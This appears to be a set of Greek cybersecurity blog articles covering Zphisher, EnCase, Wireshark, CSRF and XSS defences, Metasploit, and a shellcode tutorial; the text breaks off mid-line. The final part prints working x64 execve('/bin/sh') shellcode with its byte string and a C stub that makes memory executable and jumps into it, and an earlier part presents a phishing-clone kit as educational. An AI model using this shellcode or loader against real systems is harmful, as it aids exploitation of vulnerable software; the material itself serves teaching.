Η κυβερνοασφάλεια είναι μια από τις σημαντικότερες προκλήσεις που αντιμετωπίζει ο ψηφιακός κόσμος μας σήμερα. Κάθε μέρα, διάφοροι κυβερνοεπιθέτες προσπαθούν να παραβιάσουν συστήματα, να κλέψουν προσωπικά δεδομένα, και να προκαλέσουν ζημιές. Για να καταπολεμήσουν αυτές τις απειλές, οι ειδικοί σε κυβερνοασφάλεια αναπτύσσουν διάφορα εργαλεία και τεχνικές για τη διατήρηση της ασφάλειας στον ψηφιακό κόσμο. Ένα από αυτά τα εργαλεία είναι το Zphisher.
Τι είναι το Zphisher;
Το Zphisher είναι ένα εργαλείο για τον κλώνο ιστοσελίδων με σκοπό την ανίχνευση ευπαθειών και την ευαισθητοποίηση των χρηστών όσον αφορά τις κυβερνοαπειλές. Πρόκειται για ένα εργαλείο που χρησιμοποιείται για εκπαιδευτικούς σκοπούς και εξαιρετικά σημαντικό για την ευαισθητοποίηση των ανθρώπων σχετικά με τις απειλές του phishing.
Κύρια χαρακτηριστικά του Zphisher:
Κλώνος Ιστοσελίδων: Το Zphisher επιτρέπει στους χρήστες να δημιουργήσουν πιστικές κλώνους ιστοσελίδων, όπως των κοινωνικών δικτύων, των τραπεζών και άλλων δημοφιλών ιστοσελίδων.
Ανίχνευση Ευπαθειών: Το εργαλείο επιτρέπει στους χρήστες να αναζητήσουν ευπάθειες στους κλώνους ιστοσελίδων τους, προκειμένου να διορθώσουν τυχόν αδυναμίες στην ασφάλεια των ιστοσελίδων.
Εκπαιδευτικός Σκοπός: Το Zphisher δημιουργήθηκε με εκπαιδευτικούς σκοπούς, προκειμένου να ευαισθητοποιήσει τους χρήστες σχετικά με τον κίνδυνο του phishing και τους βοηθήσει να προστατευτούν.
Σημείωση: Η χρήση του Zphisher για κακόβουλους σκοπούς είναι παράνομη και απαράδεκτη. Η ευαισθητοποίηση σχετικά με τις κυβερνοαπειλές πρέπει να γίνεται με ηθικό τρόπο και με σεβασμό προς τον νόμο.
Η Ψηφιακή Ερευνητική Επιστήμη (Digital Forensics) αποτελεί έναν ζωτικό κλάδο της τεχνολογίας που αφορά τη συλλογή, την ανάλυση και την παρουσίαση ηλεκτρονικών αποδεικτικών στοιχείων σε δικαστικές διαδικασίες και ανακρίσεις. Σε αυτόν τον σύνθετο και αναπτυσσόμενο τομέα, το εργαλείο EnCase έχει κερδίσει τη φήμη του ως ένα από τα πλέον ισχυρά και πλήρως εξειδικευμένα λογισμικά ψηφιακής ερευνητικής.
Τι είναι το EnCase:
Το EnCase είναι ένα λογισμικό ψηφιακής ερευνητικής που αναπτύχθηκε από την Guidance Software (τώρα OpenText) και αποτελεί ένα ολοκληρωμένο σύστημα για την ανάλυση και την εξαγωγή στοιχείων από ηλεκτρονικές συσκευές και αποθηκευτικούς χώρους. Στην πορεία, το EnCase εξελίχθηκε σε μια σουίτα λογισμικού που παρέχει εργαλεία για την ανάλυση ψηφιακών στοιχείων από υπολογιστές, κινητά τηλέφωνα, συσκευές αποθήκευσης και πολλά άλλα.
Πώς χρησιμοποιείται το EnCase:
Συλλογή Δεδομένων: Το EnCase χρησιμοποιείται για τη συλλογή ψηφιακών στοιχείων από συσκευές και αποθηκευτικούς χώρους. Αυτή η διαδικασία περιλαμβάνει τον ακριβή αντίγραφο του περιεχομένου των συσκευών, διασφαλίζοντας τη διατήρηση της ακεραιότητας των δεδομένων.
Ανάλυση Δεδομένων: Με το EnCase, οι ερευνητές μπορούν να αναλύσουν τα ψηφιακά στοιχεία που συλλέχθηκαν. Αυτό περιλαμβάνει την ανάκτηση διαγενεαλογικών αποδείξεων, όπως καταγραφές κλήσεων, μηνύματα, φωτογραφίες, αρχεία και πολλά άλλα.
Αναφορές και Παρουσιάσεις: Το EnCase διαθέτει εργαλεία που επιτρέπουν στους χρήστες να δημιουργήσουν εκθέσεις και παρουσιάσεις για τα αποδεικτικά στοιχεία που βρέθηκαν. Αυτές οι αναφορές είναι σημαντικές για να υποστηρίξουν τις δικαστικές διαδικασίες.
Διατήρηση ακεραιότητας: Το EnCase είναι γνωστό για την τήρηση ακεραιότητας των δεδομένων κατά την εξέταση. Αυτό είναι κρίσιμο σε δικαστικές διαδικασίες, καθώς τα αποδεικτικά στοιχεία πρέπει να είναι αναλλοίωτα.
Διαχείριση Αλυσίδων Εντολών: Το EnCase διαθέτει μια εντυπωσιακή λειτουργία για τη διαχείριση αλυσίδων εντολών, που επιτρέπει την αυτοματοποίηση διαδικασιών και τη δημιουργία προσαρμοσμένων εργαλείων.
Συνοψίζοντας, το εργαλείο EnCase είναι ένα αναπόσπαστο κομμάτι της ψηφιακής ερευνητικής επιστήμης και της δικαστικής έρευνας. Οι ερευνητές, οι εκπαιδευτικοί και οι επαγγελματίες ασφαλείας βασίζονται στο EnCase για την αξιόπιστη συλλογή, ανάλυση και παρουσίαση ψηφιακών αποδεικτικών στοιχείων, βοηθώντας έτσι στη διασφάλιση της δικαιοσύνης και της ασφάλειας στον ψηφιακό κόσμο.
Στον σύγχρονο κόσμο της τεχνολογίας, τα δίκτυα αποτελούν τον πυλώνα της επικοινωνίας και της διασύνδεσης. Είναι δύσκολο να φανταστούμε μια ζωή χωρίς το Διαδίκτυο και τις υπηρεσίες που παρέχει. Όμως, πίσω από αυτόν τον εντυπωσιακό κόσμο των δικτύων κρύβονται πολύπλοκες τεχνολογίες και διαδικασίες που απαιτούν εξειδικευμένα εργαλεία για την ανάλυση και τη διαχείρισή τους. Εδώ είναι που έρχεται το Wireshark, ένα πανίσχυρο εργαλείο ανάλυσης δικτύου που μας επιτρέπει να εισβάλλουμε στον κόσμο των πακέτων δεδομένων και να ανακαλύψουμε τα μυστικά της επικοινωνίας στο Διαδίκτυο.
Τι είναι το Wireshark; Το Wireshark είναι ένα ελεύθερο και ανοικτού κώδικα λογισμικό ανάλυσης πακέτων δεδομένων. Αρχικά αναπτύχθηκε το 1998 από την ομάδα του Gerald Combs, και από τότε έχει γίνει το αγαπημένο εργαλείο των ειδικών δικτύων παγκοσμίως. Το Wireshark επιτρέπει στους χρήστες να ακολουθούν την ροή των πακέτων δεδομένων σε ένα δίκτυο, να αναλύουν το περιεχόμενό τους και να εξάγουν σημαντικές πληροφορίες που αφορούν την κυκλοφορία, την ασφάλεια και την απόδοση του δικτύου.
Πως λειτουργεί το Wireshark; Το Wireshark λειτουργεί καταγράφοντας όλα τα πακέτα δεδομένων που κυκλοφορούν σε ένα δίκτυο. Αυτά τα πακέτα περιέχουν πληροφορίες σχετικά με τις αποστολές και τις λήψεις δεδομένων, καθώς και τις πηγές και τους προορισμούς τους. Οι χρήστες μπορούν να εφαρμόσουν διάφορα φίλτρα και εργαλεία ανάλυσης για να εξάγουν πληροφορίες όπως τον χρόνο απόκρισης του δικτύου, τη ζωτικότητα των υπηρεσιών, τυχόν προβλήματα ασφάλειας και πολλά άλλα.
Εφαρμογές του Wireshark:
Διαγνωστικά Εργαλεία: Το Wireshark χρησιμοποιείται για την εύρεση και επίλυση προβλημάτων στα δίκτυα. Μπορεί να ανιχνεύσει προβλήματα όπως πτώση της απόδοσης, καθυστερήσεις και πακέτα που χάνονται.
Ασφάλεια Δικτύου: Οι επαγγελματίες ασφάλειας χρησιμοποιούν το Wireshark για την ανίχνευση ανωμαλιών και την ανάλυση επιθέσεων στο δίκτυο.
Εκπαίδευση: Είναι ένα εξαιρετικό εκπαιδευτικό εργαλείο για να κατανοήσετε τη λειτουργία των δικτύων και των πρωτοκόλλων.
Ανάλυση Κυκλοφορίας: Μπορεί να χρησιμοποιηθεί για την παρακολούθηση της κυκλοφορίας σε ένα δίκτυο, βοηθώντας στη βελτιστοποίηση της απόδοσης.
Το Wireshark αποτελεί ένα ισχυρό εργαλείο για την ανάλυση δικτύων, βοηθώντας επαγγελματίες και ερασιτέχνες να κατανοήσουν καλύτερα τη λειτουργία των δικτύων και να αντιμετωπίσουν προβλήματα απόδοσης και ασφάλειας. Είναι ένα εργαλείο που δίνει στους χρήστες τη δυνατότητα να εξερευνήσουν τον μαγικό κόσμο της δικτύωσης και να αποκαλύψουν τα μυστικά της επικοινωνίας στο Διαδίκτυο.
Στην εποχή της ψηφιακής επανάστασης, η ασφάλεια στον κυβερνοχώρο αποτελεί προτεραιότητα. Μέσα σε αυτό το πλαίσιο, μια σοβαρή απειλή που απειλεί την ασφάλεια των δικτυακών εφαρμογών και των χρηστών τους είναι η CSRF (Cross-Site Request Forgery). Σε αυτό το άρθρο, θα διερευνήσουμε αναλυτικά την ευπάθεια CSRF, τον τρόπο λειτουργίας της και τα σημαντικά μέτρα που μπορούμε να λάβουμε για την προστασία μας.
Τι είναι η CSRF;
Η CSRF, ή Cross-Site Request Forgery, είναι μια ευπάθεια ασφαλείας που επιτρέπει σε επιτιθέμενους να προσομοιώνουν αιτήματα από διαδικτυακές εφαρμογές που εμπιστεύονται τον χρήστη, εξαπατώντας το σύστημα και να εκτελούν εντολές χωρίς τη συναίνεση του χρήστη.
Πώς λειτουργεί η CSRF;
Κατά τη διάρκεια μιας επίθεσης CSRF, ο επιτιθέμενος προσποιείται ότι είναι ο χρήστης και προσπαθεί να προωθήσει αιτήματα προς μια διαδικτυακή εφαρμογή που ο χρήστης έχει συνδεθεί. Αν ο χρήστης έχει ανοιχτή τη σύνδεσή του στην εφαρμογή, το αίτημα εκτελείται με τα δικαιώματα του χρήστη, κάνοντας την επίθεση ακόμη πιο επικίνδυνη.
Πώς μπορούμε να προστατευτούμε;
Η προστασία από CSRF απαιτεί σωστό σχεδιασμό και εφαρμογή των δικτυακών εφαρμογών. Ορισματικά μέτρα περιλαμβάνουν:
Χρήση Tokens (CSRF Tokens): Μια από τις κύριες πρακτικές για την προστασία από CSRF είναι η χρήση CSRF tokens. Αυτά τα τυχαία δημιουργημένα tokens ενσωματώνονται στα αιτήματα του χρήστη και στον εξυπηρετητή. Αν το αίτημα δεν περιλαμβάνει το σωστό token, απορρίπτεται.
Χρήση του SameSite Attribute: Οι cookies που χρησιμοποιούνται για την αυθεντικοποίηση πρέπει να έχουν το SameSite attribute ορισμένο σωστά. Αυτό μπορεί να αποτρέψει την αποστολή cookies από άλλες τομές του διαδικτύου.
Έλεγχος Προέλευσης (Origin): Ο έλεγχος της προέλευσης (origin) των αιτημάτων μπορεί να βοηθήσει στην αποτροπή επιθέσεων CSRF. Οι διαδικτυακές εφαρμογές πρέπει να ελέγχουν ότι τα αιτήματα προέρχονται από την αναμενόμενη προέλευση.
Χρήση Προθεμάτων (Prefixes) στα Cookies: Η προσθήκη προθεμάτων στα cookies μπορεί να βοηθήσει στον περιορισμό της διαδικασίας ανάγνωσης και εγγραφής cookies από ανεπιθύμητες προσπάθειες.
Ενημέρωση και Εκπαίδευση: Οι προγραμματιστές και οι διαχειριστές συστημάτων πρέπει να είναι ενημερωμένοι για τις ευπάθειες CSRF και να εκπαιδεύονται σχετικά με τις βέλτιστες πρακτικές για την προστασία των εφαρμογών τους.
Η ευπάθεια CSRF αποτελεί μια σοβαρή απειλή για την ασφάλεια των δικτυακών εφαρμογών και των δεδομένων των χρηστών. Με την εφαρμογή των παραπάνω μέτρων, μπορούμε να περιορίσουμε τον κίνδυνο και να διασφαλίσουμε την ασφαλή λειτουργία των εφαρμογών μας στον ψηφιακό κόσμο.
Το Metasploit είναι ένα από τα πιο ισχυρά και δημοφιλή εργαλεία στον κόσμο της κυβερνοασφάλειας. Πρόκειται για ένα πλαίσιο ασφαλείας που χρησιμοποιείται για τη δοκιμή ασφάλειας συστημάτων και εφαρμογών. Αναπτύχθηκε αρχικά από την Rapid7 και τώρα είναι διαθέσιμο ως ανοικτού κώδικα λογισμικό.
Το Metasploit επιτρέπει στους ερευνητές ασφάλειας, τους επαγγελματίες κυβερνοασφάλειας και ακόμη και τους επιτιθέμενους να εκμεταλλευτούν ασφαλιστικές ελλείψεις σε συστήματα και εφαρμογές. Με τη χρήση του Metasploit, μπορείτε να ελέγξετε την ασφάλεια του συστήματός σας, να εντοπίσετε τυχόν ευπάθειες και να αναπτύξετε εκμεταλλευτικές επιθέσεις για να τις επιλύσετε προτού κακόβουλοι επιτιθέμενοι τις εκμεταλλευτούν.
Η χρήση του Metasploit περιλαμβάνει τα ακόλουθα βήματα:
Επιλογή Στόχου: Αρχικά, πρέπει να επιλέξετε τον στόχο που θέλετε να δοκιμάσετε ή να ελέγξετε την ασφάλειά του. Αυτό μπορεί να είναι ένας διακομιστής, μια εφαρμογή ή ακόμη και ένας υπολογιστής.
Σάρωση: Το Metasploit μπορεί να εκτελέσει σάρωση του στόχου για ευπάθειες και ανοιχτές πόρτες. Αυτό βοηθάει στην εντοπισμό πιθανών ευκαιριών για επίθεση.
Επίθεση: Με βάση τις ευπάθειες που ανακαλύψατε, μπορείτε να χρησιμοποιήσετε το Metasploit για να εκτελέσετε επιθέσεις. Αυτές μπορεί να είναι εκμεταλλευτικές επιθέσεις, όπως εισβολές σε αυτό το σύστημα ή την εφαρμογή.
Αξιολόγηση: Μετά την επίθεση, αξιολογείτε την αποτελεσματικότητα της και τυχόν πληροφορίες που αποκτήσατε.
Αναφορά: Το Metasploit παρέχει εκτενείς αναφορές και καταγραφές των επιθέσεών σας, κάτι που είναι σημαντικό για την κυβερνοασφάλεια και την επίλυση τυχόν ευπαθειών.
Το Metasploit είναι ένα εξαιρετικά χρήσιμο εργαλείο για τη δοκιμή ασφάλειας και την προστασία των συστημάτων από κυβερνοεπιθέσεις. Ωστόσο, πρέπει να χρησιμοποιείται με προσοχή, καθώς η ανοικτή χρήση του χωρίς την ανάλογη εξουσιοδότηση είναι παράνομη.
Για να χρησιμοποιήσετε το Metasploit με ασφάλεια και νοηματική ευθύνη, είναι σημαντικό να έχετε την άδεια και την εξουσιοδότηση για να δοκιμάσετε την ασφάλεια των συστημάτων ή των εφαρμογών που ανήκουν σε εσάς ή σε εκείνους που έχετε τη συγκατάθεσή τους. Πάντα πρέπει να τηρείτε τους νόμους περί κυβερνοασφάλειας και ιδιωτικότητας.
Εν κατακλείδι, το Metasploit είναι ένα εξαιρετικά ισχυρό εργαλείο για την ανίχνευση ευπαθειών και τη δοκιμή ασφάλειας. Ωστόσο, πρέπει να χρησιμοποιείται με προσοχή, ευθύνη και σεβασμό προς τους νόμους και την ιδιωτικότητα των άλλων. Με την κατάλληλη εκπαίδευση και τον ηθικό προσανατολισμό, μπορεί να συμβάλει στην ενίσχυση της κυβερνοασφάλειας και την προστασία από δυνητικούς κινδύνους στον ψηφιακό κόσμο.
Οι επιθέσεις XSS, γνωστές και ως Cross-Site Scripting, αποτελούν σοβαρή απειλή για την ασφάλεια των ιστοσελίδων και των χρηστών τους. Στο παρόν άρθρο, θα εξετάσουμε τι είναι οι επιθέσεις XSS, πώς λειτουργούν και ποιοι τρόποι προστασίας μπορούν να υιοθετηθούν για να αποτραπεί η κακόβουλη εκμετάλλευσή τους.
Τι είναι η επίθεση XSS;
Η επίθεση XSS αναφέρεται σε καταστάσεις όπου κακόβουλος κώδικας JavaScript ενσωματώνεται σε μια ιστοσελίδα και εκτελείται στον φυλλομετρητή των χρηστών χωρίς τη συναίνεσή τους. Ο κακόβουλος κώδικας μπορεί να προέρχεται από εξωτερικές πηγές ή ακόμη και από τον ίδιο τον ιστότοπο, εάν τα εισαγόμα δεδομένα δεν ελέγχονται σωστά.
Οι επιθέσεις XSS διακρίνονται σε τρεις κατηγορίες:
Stored XSS: Ο κακόβουλος κώδικας αποθηκεύεται στη βάση δεδομένων του ιστότοπου και παραδίδεται στους χρήστες όταν επισκέπτονται τη σελίδα. Αυτή η μορφή επίθεσης μπορεί να έχει μακροχρόνιες συνέπειες.
Reflected XSS: Ο κακόβουλος κώδικας ενσωματώνεται σε URL ή φόρμες και εκτελείται κατά την αίτηση που κάνει ο χρήστης. Συνήθως, αυτές οι επιθέσεις επηρεάζουν μόνο τον συγκεκριμένο χρήστη.
DOM-based XSS: Αυτή η μορφή επίθεσης συμβαίνει στον πελάτη, όταν ο κακόβουλος κώδικας τροποποιεί το DOM (Document Object Model) της σελίδας, επηρεάζοντας έτσι την εμφάνιση ή τη συμπεριφορά της.
Πώς Λειτουργούν οι Επιθέσεις XSS;
Για να κατανοήσουμε πώς λειτουργούν οι επιθέσεις XSS, ας ρίξουμε μια ματιά στα βασικά στάδια:
Εισαγωγή Κακόβουλου Κώδικα: Ο επιτιθέμενος εισάγει κακόβουλο κώδικα (συνήθως JavaScript)
Στη συνέχεια, ας εξετάσουμε πώς μπορείτε να προστατευτείτε από αυτούς τους κινδύνους και να ενισχύσετε την ασφάλεια του ιστότοπού σας:
Είσοδος δεδομένων (Input Validation): Το πρώτο βήμα στην προστασία από επιθέσεις XSS είναι η προσεκτική εισαγωγή και επεξεργασία των δεδομένων που εισέρχονται στην ιστοσελίδα σας. Βεβαιωθείτε ότι εφαρμόζετε κανόνες εισαγωγής (input validation) και αποτρέπετε την εκτέλεση κώδικα που μπορεί να εισαχθεί από χρήστες.
Κωδικοποίηση εξόδου (Output Encoding): Κωδικοποίηση εξόδου είναι η διαδικασία με την οποία τα δεδομένα εξόδου, πριν αποσταλούν στον πελάτη, κωδικοποιούνται έτσι ώστε να μην εκτελεστούν ως κώδικας JavaScript. Χρησιμοποιήστε αξιόπιστες βιβλιοθήκες ή εργαλεία κωδικοποίησης εξόδου.
Content Security Policy (CSP): Το CSP είναι ένα ισχυρό εργαλείο ασφάλειας που επιτρέπει στους διαχειριστές ιστοσελίδων να καθορίσουν ποια περιεχόμενα μπορούν να εκτελεστούν σε μια σελίδα. Μπορείτε να ρυθμίσετε το CSP σας για να αποτρέψετε την εκτέλεση εξωτερικού JavaScript και άλλων πόρων.
Διαχείριση συνόδων (Session Management): Βεβαιωθείτε ότι οι συνεδρίες των χρηστών διαχειρίζονται με ασφάλεια και ότι οι πληροφορίες συνόδου δεν μπορούν να προσπελαστούν ή να τροποποιηθούν από κακόβουλους.
Ενημερωμένοι Φυλλομετρητές (Browsers): Ενθαρρύνετε τους χρήστες να χρησιμοποιούν ενημερωμένους φυλλομετρητές, καθώς πολλοί από αυτούς έχουν ενσωματωμένα μέτρα ασφαλείας κατά των επιθέσεων XSS.
Εκπαίδευση των Χρηστών: Εκπαιδεύστε τους χρήστες σας σχετικά με τους κινδύνους των επιθέσεων XSS και τη σημασία της προσοχής κατά την περιήγηση.
Αυτόματοι Ελεγκτές Ασφαλείας (Security Scanners): Χρησιμοποιήστε αυτόματους ελεγκτές ασφαλείας για να ανιχνεύσετε πιθανές ευπάθειες στον κώδικα της ιστοσελίδας σας.
Συνεχής Ενημέρωση: Η ασφάλεια των ιστοσελίδων είναι μια συνεχής προσπάθεια. Κρατήστε το λογισμικό, τον κώδικα, και τα CMS (Content Management Systems) σας ενημερωμένα σε τακτά χρονικά διαστήματα.
Αντιμετώπιση των Επιθέσεων XSS:
Αν παρόλα αυτά εκτελεστεί μια επίθεση XSS στον ιστότοπό σας, είναι σημαντικό να ξέρετε πώς να αντιμετωπίσετε την κατάσταση:
Κατανόηση της Επίθεσης: Πρέπει να κατανοήσετε πώς λειτούργησε η επίθεση και ποια δεδομένα εκτελέστηκαν. Αυτό σας επιτρέπει να αντιδράσετε αποτελεσματικότερα.
Κλείσιμο της Ευπάθειας: Βεβαιωθείτε ότι κλείνετε την ευπάθεια στον κώδικα σας που επέτρεψε την επίθεση. Αυτό μπορεί να σημαίνει την τροποποίηση του κώδικα ή την απενεργοποίηση προσωρινά του επιρρέποντος τμήματος του ιστότοπου.
Ανάλυση Κακόβουλου Κώδικα: Εξετάστε τον κακόβουλο κώδικα που χρησιμοποιήθηκε στην επίθεση για να κατανοήσετε τις πιθανές συνέπειες και να αντιμετωπίσετε τυχόν επιπτώσεις.
Καταγραφή Και Αναφορά: Καταγράψτε την επίθεση και αναφέρετέ την στις κατάλληλες αρχές ασφαλείας. Αυτό μπορεί να βοηθήσει να προστατευτείτε από περαιτέρω επιθέσεις και να βελτιώσετε την ασφάλεια του ιστότοπου σας.
Ενημέρωση των Χρηστών: Ενημερώστε τους χρήστες σας για το περιστατικό και τα μέτρα που λαμβάνετε για την αντιμετώπισή του.
Εφαρμογή Παρακολούθησης (Monitoring): Χρησιμοποιήστε λογισμικό παρακολούθησης κίνησης και ασφαλείας για να εντοπίζετε πρόωρα επιθέσεις και ανωμαλίες στην κίνηση της ιστοσελίδας σας.
Οι επιθέσεις XSS αποτελούν μια σοβαρή απειλή για την ασφάλεια του ιστότοπού σας και των χρηστών σας. Με την εφαρμογή σωστών πρακτικών ασφαλείας και την ενημέρωση για τις τρέχουσες απειλές, μπορείτε να προστατεύσετε τον ιστότοπό σας από αυτούς τους κινδύνους.
Φίλτρα:
Για να προστατευτείτε από επιθέσεις XSS, μπορείτε να χρησιμοποιήσετε διάφορα φίλτρα και μέτρα ασφαλείας στον κώδικα της ιστοσελίδας σας. Αυτά τα φίλτρα θα σας βοηθήσουν να ελέγξετε την εισερχόμενη και εξερχόμενη πληροφορία για πιθανούς κώδικες XSS. Εδώ είναι μερικά από τα βασικά μέτρα που μπορείτε να λάβετε:
Εισαγωγή δεδομένων (Input Validation): Επιβεβαιώστε ότι τα δεδομένα που εισάγονται από τους χρήστες στην ιστοσελίδα σας ελέγχονται για ανεπιθύμητους χαρακτήρες και κωδικούς πριν τα αποθηκεύσετε ή τα εμφανίσετε. Χρησιμοποιήστε λειτουργίες όπως htmlspecialchars() για την κωδικοποίηση εισόδου.
Κωδικοποίηση εξόδου (Output Encoding): Κωδικοποιήστε την εξαγόμενη πληροφορία πριν την εμφανίσετε στους χρήστες. Χρησιμοποιήστε τη σωστή συνάρτηση κωδικοποίησης, όπως htmlspecialchars() για τον HTML κώδικα και json_encode() για τα δεδομένα JSON.
Content Security Policy (CSP): Ρυθμίστε μια αποτρεπτική πολιτική CSP που να περιορίζει τις εκτελούμενες πηγές κώδικα στον ιστότοπό σας. Μπορείτε να καταχωρίσετε ποιοι πόροι επιτρέπονται και απαγορεύονται, όπως τα scripts από εξωτερικούς διακομιστές.
Εσωτερική Λειτουργία Escape: Χρησιμοποιήστε εσωτερικές λειτουργίες αποτροπής των επιθέσεων XSS που παρέχονται από το framework ή το περιβάλλον ανάπτυξης που χρησιμοποιείτε (όπως htmlspecialchars() σε PHP).
Βελτιωμένη Αυθεντικοποίηση (Authentication): Ενισχύστε το σύστημα αυθεντικοποίησης για τους χρήστες σας και βεβαιωθείτε ότι διαχειρίζεστε την πρόσβαση στις προστατευμένες περιοχές του ιστότοπου σας με ασφάλεια.
Παρακολούθηση και Συνεχής Ενημέρωση: Χρησιμοποιήστε λογισμικό παρακολούθησης και συνεχώς ενημερώνετε τον κώδικα σας για να αντιμετωπίσετε νέες απειλές και ευπάθειες.
Αυτά τα μέτρα συνιστούν ένα ισχυρό σύνολο πρακτικών για την προστασία από επιθέσεις XSS.
Βεβαιωθείτε ότι εφαρμόζετε αυτά τα μέτρα ασφαλείας σε όλα τα μέρη της ιστοσελίδας σας, συμπεριλαμβανομένων των πεδίων εισόδου, των φορμών επικοινωνίας, των σχολίων χρηστών και άλλων σημείων που εμφανίζουν πληροφορίες από τους χρήστες.
Επιπλέον, αξίζει να σημειωθεί ότι το καλύτερο μέτρο προστασίας είναι η συνεχής ενημέρωση και η εφαρμογή των καλών πρακτικών ασφαλείας στην ανάπτυξη και τη συντήρηση του ιστότοπού σας. Επίσης, πρέπει να είστε ενήμεροι για τις τρέχουσες απειλές και να αναθεωρείτε τα μέτρα σας ασφαλείας κατά τακτά χρονικά διαστήματα.
Επιπλέον, εάν χρησιμοποιείτε πλατφόρμες διαχείρισης περιεχομένου (CMS) όπως το WordPress, υπάρχουν πολλά πρόσθετα (plugins) και επεκτάσεις που μπορείτε να χρησιμοποιήσετε για την αυτόματη εφαρμογή ορισμένων από αυτά τα μέτρα ασφαλείας.
Το να προστατεύσετε τον ιστότοπό σας από επιθέσεις XSS είναι κρίσιμης σημασίας για την ασφάλεια των χρηστών σας και τη φήμη του ιστότοπού σας. Εφαρμόστε τα παραπάνω μέτρα ασφαλείας και παρακολουθήστε συνεχώς τον ιστότοπό σας για ενδεχόμενες αδυναμίες ασφαλείας.
In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called “shellcode” because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode. Shellcode is commonly written in machine code. (Wikipedia)
Το Shellcode είναι ένας τύπος ByteCode, δηλαδή ένας πηγαίος κώδικας σε καθαρό κώδικα μηχανής!
Στην πραγματικότητα, ένα shellcode είναι ένα bytecode που εκτελεί ένα κέλυφος εντολών: Ένα “περιβάλλον” στο οποίο μπορώ να εκτελέσω εντολές συστήματος.
Για να μπορέσετε να δημιουργήσετε έναν λειτουργικό Shellcode έχετε (κυρίως) δύο επιλογές:
Δημιουργήστε ένα πρόγραμμα σε Assembly, μεταγλωττίστε το και χρησιμοποιήστε τον εκτελέσιμο κώδικα που δημιούργησε ή
Κάντε το ίδιο με ένα πρόγραμμα C ή C++.
Ας ακολουθήσουμε την πιο βασική μέθοδο: να δημιουργήσουμε ένα shellcode μέσω της γλώσσας Assembly.
Υπάρχουν πολλοί διαθέσιμοι κώδικες shell, στο διαδίκτυο. Ένα πολύ γνωστό μέρος είναι εδώ: https://www.exploit-db.com/
Παρακάτω έχω ένα shellcode που θα δημιουργήσει ένα Bash Shell στη γλώσσα assembly:
;
;
; Source: https://www.exploit-db.com/exploits/47008
;
; Compile: nasm -felf64 spawn_shell.nasm -o spawn_shell.o
; Link: ld spawn_shell.o -o spawn_shell
;-----------------------------------------------------------
;
global _start
section .text
_start:
;int execve(const char *filename, char *const argv[],char *const envp[])
xor rsi, rsi ;clear rsi
push rsi ;push null on the stack
mov rdi, 0x68732f2f6e69622f ;/bin//sh in reverse order
push rdi
push rsp
pop rdi ;stack pointer to /bin//sh
mov al, 59 ;sys_execve
cdq ;sign extend of eax
syscall
Δημιουργώ ένα πολύ απλό bash script για να μεταγλωττίσω το πρόγραμμα και να εμφανίσω τον αντίστοιχο κώδικα byte:
Αυτό που μένει τώρα είναι να κάνω compile το Assembly πρόγραμμα:
Ο bytecode (ή ο κώδικας μηχανής) παραπάνω αντιπροσωπεύεται ως μια σειρά δεκαεξαδικών αριθμών, και είναι στην πραγματικότητα μια σειρά από bytes.Η μόνη εργασία που απομένει να κάνω τώρα είναι να πάρω αυτόν τον bytecode και να τον βάλω σε μια συμβολοσειρά ως εξής:
Σημειώστε την δεκαεξαδική μορφή εδώ. Σας θυμίζει κάτι από το Μέρος ΙI (η προσέγγιση ROP) 😎
Η βασική ιδέα εδώ είναι η εξής: Θέλουμε να βάλουμε αυτόν τον bytecode στη μνήμη και να τον εκτελέσουμε σαν ένα πρόγραμμα.
Χρήσιμες Σημειώσεις:
Υπάρχουν διαφορετικά bytecodes και συγκεκριμένα shell-codes για αρχιτεκτονικές 64 bit και 32 bit.
Ένα shell-code που εκτελείται σωστά σε σύστημα 32 bit δεν μπορεί να εκτελεστεί σε σύστημα 64 bit.
Για να μπορέσουμε να εκτελέσουμε έναν bytecode που βρίσκεται στη στοίβα (Stack), πρέπει να ενεργοποιήσουμε τη δυνατότητα του συστήματος να επιτρέπει την εκτέλεση κώδικα σε μη εκτελέσιμη θέση μνήμης.Αυτό μπορεί να γίνει (για παράδειγμα) χρησιμοποιώντας τη flag execstack -z στον μεταγλωττιστή gcc.
Ένα shellcode που εκτελείται σε ένα σύστημα (για παράδειγμα σε ένα CentOS x64) δεν είναι 100% εγγυημένο ότι θα μπορεί να εκτελεστεί σωστά σε ένα άλλο σύστημα με την ίδια αρχιτεκτονική, για παράδειγμα σε ένα κουτί Ubuntux64.
Μια ερώτηση που κάνουν πολλοί είναι: Πώς να δοκιμάσω τον shellcode μου;
Χμ… Λοιπόν, έχω δυο μεθόδους για να δοκιμάσω τα shell-codes μου και θα παρέχω και τις δύο σε αυτό το άρθρο.
Testing a shellcode – method I
Ο παρακάτω κώδικας σε C, μπορεί να χρησιμοποιηθεί και ως template για την φύλαξη του shellcode μέσα σε μια συμβολοσειρά (string) και τη δυνατότητα δοκιμής του.Το πρόγραμμα δημιουργεί ένα buffer με τον shellcode και του αποδίδει δικαιώματα RWX χρησιμοποιώντας το mprotect().
/**********************************************************************
*
* Program: tester64.xss.org.c
*
* Initial Date: 08/06/2021
* Mod my Geometry: change to work on 64bit (10/04/2023)
*
* Initial Author: Travis Phillips
*
* Purpose: This code is used to provide a C template to paste shellcode
* into and be able to run it live from within an ELF x64 binary's
* char buffer. This allows you to create a buffer with the
* shellcode globally and this program will mark it as RWX using
* mprotect() and then finally jump into.
*
* Compile: gcc -m64 tester64xss.org.c -o tester64.xss.org
*
***********************************************************************/#include<stdio.h>#include<unistd.h>#include<sys/mman.h>#include<string.h>/////////////////////////////////////////////////////// source file: execve(/bin/sh)/////////////////////////////////////////////////////char payload[]="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05";intmain(){// Print the banner.puts("\n\033[33;1m---===[ Shellcode Tester x64 Stub v1.1 ]===---\033[0m\n");// Print the size of the shellcode.printf(" [\033[34;1m*\033[0m] Shellcode Size: %d\n",sizeof(payload)-1);// Create a function pointer to the shellcode and// display it to the user.void(*payload_ptr)()=(void(*)())&payload;printf(" [\033[34;1m*\033[0m] Shellcode Address: 0x%08x\n", payload_ptr);// Calculate the address to the start of the page for the// the shellcode.void*page_offset =(void*)((long)payload_ptr &~(getpagesize()-1));printf(" [\033[34;1m*\033[0m] Shellcode page: 0x%08x\n", page_offset);// Use mprotect to mark that page as RWX.mprotect(page_offset,4096, PROT_READ|PROT_WRITE|PROT_EXEC);// Finally, use our function pointer to jump into our payload.puts("\n\033[33;1m---------[ Begin 